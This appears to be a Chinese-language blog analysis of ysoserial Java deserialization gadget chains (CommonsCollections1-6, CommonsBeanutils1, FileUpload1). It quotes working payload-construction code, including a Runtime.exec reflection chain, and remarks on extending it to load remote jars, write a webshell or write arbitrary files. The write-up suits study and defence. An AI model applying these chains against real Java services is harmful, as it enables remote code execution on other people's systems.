YSOSERIAL = Y SO SERIAL? 为什么这么序列化?
其它没啥好说的,自己再看一遍,慢慢的往里面填肉。
CommonsCollections1-6、CommonsBeanutils1、FileUpload1
喜闻乐见的CommonsCollections1,最初的利用链
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
没啥好说的,要执行的命令↑
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
为了防止在decorate的时候就执行命令,先弄个事业不干的Transformer↑
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
构造使用InvokerTransformer执行命令的TransfomerChain↑
核心代码如下,熟悉Java的同学看到Invoke应该会比较兴奋,不熟悉的么。。。去熟悉熟悉┓( ´∀` )┏
最后实际上使用ContantTransfomer和InvokerTransfomer构造了如下的反射执行链:
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]).exec("clac.exe")
所以只要有别的能写成一句话可以改别的,比如远程加载jar文件(URLClassLoader)、写shell(FileOutputStream\FileWriter)什么的~
能执行命令的话其实也可以结合shell脚本、windows批处理达到无反弹getshell,不过后来有了RMI这种方式还是推荐用RMI的。
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
建立一个空map,然后用上面创建的假transformerChain先装饰上。
题外话:
最早的文章中使用的是TransformedMap,对其任意entry进行setValue操作时,会触发transformer。
AbstractInputCheckedMapDecorator$MapEntry(对TransformedMap的Entry进行setValue会做到这)中的代码:
而后调用了TransformedMap的checkSetValue,执行了transform操作。
这部分的利用调用在AnnotationInvocationHandler中有体现。
补充:
看到了这篇文章之后发现自己忽略了一个地方,就是为什么TransformedMap要put一个key为"value"的键值对,是为了此处让var7不为null,可以继续执行后面的部分。
题外话结束:
而这里是使用LazyMap,lazyMap在调用get函数时如果key不存在会触发transformer。
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
这里使用AnnotationInvocationHandler是由于其成员memberValues为Map,而lazyMap和transformedMap都实现了Map接口,并且后面readObject调用中会触发上面所说的setValue与get函数。
有关动态代理的部分推荐一篇文章:《Java动态代理-实战》
这里只说一句与漏洞利用有关的:在通过Proxy进行被代理的接口调用时,实际上会通过构造时所给InvocationHandler的invoke函数进行执行。
createMemoitizedProxy创建了一个代理Map.class,InvocationHandler为(成员变量memberValues设置为上面所构造LazyMap的AnnotationInvocationHandler)的Proxy。
接下来createMemoizedInvocationHandler函数创建了一个memberValues为上面Proxy的AnnotationInvocationHandler。
(两个长名具体实现请看代码)
而后在第一层AnnotationInvocationHandler的readObject的过程中,触发了:
this.memberValues.entrySet()
实际上这层的memberValues为Proxy,会调用第二层AnnotationInvocationHandler的inovke函数:
可以看到由于entrySet不等于上面几个常量(equals\toString\hashCode\annotationType),所以会对memberValues进行get操作,而由于此时的memberValues为上面构造的空lazyMap,所以key不存在,如上面所说,触发了transformers!!
用PPT画了个比较丑的图:
题外话:
TransformedMap的利用成因具体参考《Lib之过?Java反序列化漏洞通用利用分析》这篇文章的解析,此处直说一句:在AnnotationInvocationHandler的readObject函数尾部会遍历的对memberValues中的Entry执行setValue操作,满足了触发条件。
最后:
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
把iTransformers设置成利用链↑
到此CommonsCollections1利用链构造完成
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
创建可执行命令的TemplatesImpl类↑,关于createTemplatesImpl可以看我写的另一篇《ysoserial Gadgets.createTemplatesImpl函数分析》
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
创建一个InvokerTransformer,执行的是无参数的toString函数。
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later,插俩假数据没啥说的
queue.add(1);
queue.add(1);
PriorityQueue是一个有优先级的队列,第一个参数为队列大小,第二个参数为使用的comparer比较器。
TransformingComparator为使用Transformer接口的比较器,调用compare函数时,先对所比较两元素依次调用所给Transformer进行转换后再进行比较。
这也就是后面为什么要将queueArray[0]设置为templates而不是queueArray[1]的原因。
实现如下:
在add的过程中也会调用comparer,所以上面InvokerTransformer设置为toString,保证添加过程可以正常执行
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
更改上面创建的InvokerTransformer的调用方法为newTransformer,用这个对TemplatesImpl对象调用newTransformer也可以触发调用链。。
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
使用反射方法获取PriorityQueue中的实际存储的队列,并将索引0对应对象替换为上面创建的TemplatesImpl对象。
在PriorityQueue的ReadObject过程中,首先会重建队列的对象,而后对队列进行重新排序,排序过程中则会调用InovkerTransformer进行transform,触发templates调用链。
基本跟CommonsCollections1一致,这里只说明下调用链。
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
InstantiateTransformer为调用上一级所给对象的的构造函数,内部实现也是反射调用。
TrAXFilter的构造函数如下:
上面画框的语句,触发了TemplatesImpl利用链。
CommonsCollections2和CommonsCollections3的组合,前面要都看懂了就没啥好说的了。
还是先一顿规避构造中的命令执行。
通过PriorityQueue的方式触发排序,而这次的比较器的transformer是CommonsCollections3的调用链~
jdk 8u76以上可用,还有得没开SecurityManager。
因为这个版本以上的BadAttributeValueExpException对象有readObject┓( ´∀` )┏,好神奇,这都怎么找到的。
大部分代码段都与CommonsCollections1相同,这里只说不同的部分。
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
TiedMapEntry在调用toString时会调用构造时所用map的get函数~触发lazyMap的调用链。
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
通过反射方式将BadAttributeValueExpException所包裹的val值换成上面所构造TiedMapEntry。
BadAttributeValueExpException的readObject函数如下:
可以看到对val掉用了toString函数,触发了调用链。
用idea调试过程中可以发现触发了两次计算器,这也是因为idea调试过程中对所有变量调用toString来进行内容显示,在valObj获取完成就会对其调用toString。
用idea调试过程中,由于idea会调用每个变量的toString函数用以显示在Debug窗格中,会导致调用链被提前触发,弹出计算器。为了正常调试可以关闭idea的调试中toString。
HashSet是基于HashMap实现的。
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
return map;
这段代码向HashSet中插入了一个元素,而后获取了内部的HashMap,并将存储的唯一一个Node的Key替换为上面创建的TiedMapEntry。
在上面我们知道了toString函数会调用TiedMapEntry的getValue,而getValue会触发lazyMap的get。
而这个调用链中利用了TiedMapEntry的hashCode函数,同样会触发getValue:
HashSet在序列化过程中会将存储的对象依次写入序列化数据中:
而readObject过程中会依次反序列化对象并将其put入HashMap:
而HashMap的Put函数会对Key调用hashCode函数,最后触发了LazyMap调用链。
有关PriorityQueue的部分与CommonsCollections4相同此处不在赘述。
final BeanComparator comparator = new BeanComparator("lowestSetBit");
有关BeanComparator的介绍:
https://commons.apache.org/proper/commons-beanutils/apidocs/org/apache/commons/beanutils/BeanComparator.html
BeanComparator是获取两个类指定属性进行比较,实际获取属性的过程中是调用了get+属性名的getter方法进行获取(并不是说有getter方法就一定有对应的属性),就比如上面这个comparator在比较过程中就调用了getLowestSetBit,这是BigInteger类的一个方法。
流程跟踪起来比较麻烦,有兴趣的同学可以自己跟一下。
具体获取getter方法的位置在java.beans包中Introspector类的getTargetPropertyInfo函数中。
为什么首位要变小写需要看decapitalize函数。
Reflections.setFieldValue(comparator, "property", "outputProperties");
后面重新设置了comparator对应的属性为outputProperties,最终调用了getOutputProperties函数,触发了调用链。
这个在低版本的JRE(可以\x00截断)+commons-fileupload:1.3.1比较好用,其它的版本只能写入.tmp为结尾的随机文件了。
reaoPath是希望写入的文件夹位置,低版本JRE可以\x00截断,所有可以任意文件写入。
下图的是1.8的JDK的效果。
filePath是预计读取的文件位置,如果data有内容的话此处无用。
data就是预计写入的数据。
这个比较简单了,直接看DiskFileItem类的readObject函数就好了。
需要写入的话就向DiskFileItem中包含的DeferredFileOutputStream进行数据写入,使得在序列化过程中令cachedContent有内容。
复制与删除就使cachedContent没有内容,dfosFile配置好即可,当然,如果没法截断的话就是随机复制了。
看懂一个后面就越看越快了。
lazyMap.get不存在的key触发Transfomer
Java动态代理执行方法时会调用对应的InvocationHandler(这里是AnnotationInvocationHandler,并代理了Map.class的方法)
AnnotationInvocationHandler在readObject时会调用内置Map的entrySet方法。
PriorityQueue的readObject方法再重新构建包含对象后会进行重新排序。
TransformingComparator是一个先调用内置Transformer后再调用CompareTo的Comparator。
利用了TemplatesImpl。
与CommonsCollections1基本一致,但是利用了InstantiateTransformer这个实例化Transformer。
TrAXFilter使用Templates进行构造,并且构造过程中会调用newTransformer。
CommonsCollections2+3的结合
jdk 8u76以上可用,还有得没开SecurityManager。
因为这个版本以上的BadAttributeValueExpException对象有readObject。
TiedMapEntry绑定了lazyMap和一个不存在的Key,当对其调用toString时,会向去向绑定Map进行getValue,而这时候绑定的是lazyMap…
利用了HashSet在反序列化时会依次向内置HashSet进行put,而put过程中会调用对应对象的HashCode函数,而TiedMapEntry的HashCode函数还是会getValue。
CommonsCollections2的方法换了个Comparator。
BeanComparator是通过查找getter方法来判断哪些属性存在的,而TemplatesImpl正好有个调用newTransformer的getOutputProperties函数。
emm 直接看,readObject函数就好了